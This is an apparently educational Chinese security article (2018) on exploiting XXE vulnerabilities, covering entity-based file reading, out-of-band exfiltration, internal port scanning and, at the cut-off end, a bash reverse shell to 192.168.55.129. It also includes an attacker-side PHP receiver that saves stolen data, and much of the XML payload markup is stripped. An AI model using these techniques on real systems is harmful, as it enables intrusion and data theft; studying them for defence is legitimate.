专栏名称: 美亚柏科
国内电子数据取证领域龙头企业、网络空间安全专家,主要服务于国内各级司法机关以及行政执法部门。公司主营电子数据取证、网络空间安全、大数据信息化产品、专项执法装备等产品,先后被认定为“国家规划布局内重点软件企业”、“国家创新型试点企业”。
51好读  ›  专栏  ›  美亚柏科

安仔课堂:实战讲解XXE漏洞的利用与防御策略

美亚柏科  · 公众号  ·  · 2018-03-19 22:11

正文


现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查 XML 格式是否正确。当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击。 本期“安仔课堂”,ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御。



一、XML基础知识


XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

]>

George

John

Reminder

Don't forget the meeting!


DTD(文档类型定义) 的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

内部声明DTD:元素声明]>;

引用外部DTD:或者;


DTD实体 是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体:;

引用外部实体:。



二、XML外部实体

使用XML主要是为了使两个采用不同技术的系统可以通过XML进行通信和交换数据。而有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或远程的内容。比如,下面的XML文档样例就包含了XML“实体”:


]>

&XXE;


在上面的代码中,XML外部实体“XXE”被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体“XXE”的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字“SYSTEM”会告诉XML解析器,“XXE”实体的值将从其后的URI中读取。



三、XML外部实体攻击





当XML允许引用外部实体,关键字“SYSTEM”会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。


简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。而不同的XML解析器,对外部实体有不同的处理规则。


在PHP中默认处理的函数为xml_parse和simplexml_load,xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁。除PHP外,在Java、Python等处理XML的组件及函数中,都可能存在此问题。


如何判断是否存在XML外部实体攻击? 那就是寻找那些接受XML作为输入内容的端点,而有些端点可能并不是那么明显,比如一些仅使用JSON去访问服务的客户端,可以通过修改HTTP的请求或修改Content-Type头部字段等方法,然后看应用程序的响应,看程序是否解析了发送的内容,如果解析了,那么就可能存在XXE攻击漏洞。


四、XXE漏洞测试


借助XXE,攻击者可以实现任意文件读取,DDOS拒绝服务攻击以及代理扫描内网等。


1.任意文件读取漏洞测试

当有回显时,直接利用payload:

[

]>

&XXE;

可以进行任意文件读取文件:

图1

当无回显时,引用远程服务器上的XML文件读取文件:

将以下get.php,1.xml保存到自己的WEB服务器下

get.php:

$xml=$_GET['xml'];

$base=base64_decode($xml);

file_put_contents('data.txt', $base);

?>

1.xml:

">

%int;

%trick;

直接发送payload:

%remote;]>

就能读取任意文件并把数据保存到本地的data.txt文件里:

图2

2.探测内网端口和网站

有回显时,直接发送payload:

[

]>

&XXE;

端口存在时会返回页面报错信息:

图3

端口不存在时,返回无法连接的报错信息:

图4

无回显时,修改1.xml文件,把file协议修改为需要扫描的IP:

">

%int;

%trick;

直接发送payload:

%remote;]>

当端口存在web页面,也可获得内网网站的的页面源代码:

图5

3.攻击内网网站

若内网网站存在命令执行漏洞时:

将以下bash.txt保存至自己的WEB服务器下:

bash.txt:

bash -i >& /dev/tcp/192.168.55.129/8877 0>&1

发送以下payload获取bash.txt文件:







请到「今天看啥」查看全文